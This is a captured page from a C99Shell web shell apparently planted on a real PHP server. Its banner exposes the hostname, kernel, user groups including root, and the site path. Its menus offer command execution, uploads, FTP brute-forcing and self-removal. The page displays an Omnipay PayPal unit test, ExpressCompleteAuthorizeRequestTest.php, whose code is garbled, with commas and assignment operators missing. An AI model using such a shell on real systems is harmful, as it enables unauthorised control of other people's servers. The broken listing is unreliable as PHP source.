!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/omnipay/paypal/tests/Message/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExpressCompleteAuthorizeRequestTest.php (3.81 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Omnipay\PayPal\Message;

use 
Omnipay\PayPal\Message\ExpressCompleteAuthorizeRequest;
use 
Omnipay\Tests\TestCase;

class 
ExpressCompleteAuthorizeRequestTest extends TestCase
{
    
/**
     * @var \Omnipay\PayPal\Message\ExpressCompleteAuthorizeRequest
     */
    
private $request;

    public function 
setUp()
    {
        
$client $this->getHttpClient();

        
$request $this->getHttpRequest();
        
$request->query->set('PayerID''Payer-1234');
        
$request->query->set('token''TOKEN1234');

        
$this->request = new ExpressCompleteAuthorizeRequest($client$request);
    }

    public function 
testGetData()
    {
        
$this->request->setAmount('1.23');
        
$this->request->setCurrency('USD');
        
$this->request->setTransactionId('ABC-123');
        
$this->request->setUsername('testuser');
        
$this->request->setPassword('testpass');
        
$this->request->setSignature('SIG');
        
$this->request->setSubject('SUB');
        
$this->request->setDescription('DESC');
        
$this->request->setNotifyUrl('https://www.example.com/notify');
        
$this->request->setMaxAmount('0.00');
        
$this->request->setTaxAmount('0.00');
        
$this->request->setShippingAmount('0.00');
        
$this->request->setHandlingAmount('0.00');
        
$this->request->setShippingDiscount('0.00');
        
$this->request->setInsuranceAmount('0.00');

        
$expected = array();
        
$expected['METHOD'] = 'DoExpressCheckoutPayment';
        
$expected['PAYMENTREQUEST_0_PAYMENTACTION'] = 'Authorization';
        
$expected['PAYMENTREQUEST_0_AMT'] = '1.23';
        
$expected['PAYMENTREQUEST_0_CURRENCYCODE'] = 'USD';
        
$expected['PAYMENTREQUEST_0_INVNUM'] = 'ABC-123';
        
$expected['PAYMENTREQUEST_0_DESC'] = 'DESC';
        
$expected['PAYMENTREQUEST_0_NOTIFYURL'] = 'https://www.example.com/notify';
        
$expected['USER'] = 'testuser';
        
$expected['PWD'] = 'testpass';
        
$expected['SIGNATURE'] = 'SIG';
        
$expected['SUBJECT'] = 'SUB';
        
$expected['VERSION'] = ExpressCompleteAuthorizeRequest::API_VERSION;
        
$expected['TOKEN'] = 'TOKEN1234';
        
$expected['PAYERID'] = 'Payer-1234';
        
$expected['MAXAMT'] = '0.00';
        
$expected['PAYMENTREQUEST_0_TAXAMT'] = '0.00';
        
$expected['PAYMENTREQUEST_0_SHIPPINGAMT'] = '0.00';
        
$expected['PAYMENTREQUEST_0_HANDLINGAMT'] = '0.00';
        
$expected['PAYMENTREQUEST_0_SHIPDISCAMT'] = '0.00';
        
$expected['PAYMENTREQUEST_0_INSURANCEAMT'] = '0.00';

        
$this->assertEquals($expected$this->request->getData());
    }

    public function 
testGetDataWithItems()
    {
        
$this->request->setAmount('50.00');
        
$this->request->setCurrency('USD');
        
$this->request->setTransactionId('ABC-123');
        
$this->request->setUsername('testuser');
        
$this->request->setPassword('testpass');
        
$this->request->setSignature('SIG');
        
$this->request->setSubject('SUB');
        
$this->request->setDescription('DESC');

        
$this->request->setItems(array(
            array(
'name' => 'Floppy Disk''description' => 'MS-DOS''quantity' => 2'price' => 10),
            array(
'name' => 'CD-ROM''description' => 'Windows 95''quantity' => 1'price' => 40),
        ));

        
$data $this->request->getData();
        
$this->assertSame('Floppy Disk'$data['L_PAYMENTREQUEST_0_NAME0']);
        
$this->assertSame('MS-DOS'$data['L_PAYMENTREQUEST_0_DESC0']);
        
$this->assertSame(2$data['L_PAYMENTREQUEST_0_QTY0']);
        
$this->assertSame('10.00'$data['L_PAYMENTREQUEST_0_AMT0']);

        
$this->assertSame('CD-ROM'$data['L_PAYMENTREQUEST_0_NAME1']);
        
$this->assertSame('Windows 95'$data['L_PAYMENTREQUEST_0_DESC1']);
        
$this->assertSame(1$data['L_PAYMENTREQUEST_0_QTY1']);
        
$this->assertSame('40.00'$data['L_PAYMENTREQUEST_0_AMT1']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0052 ]--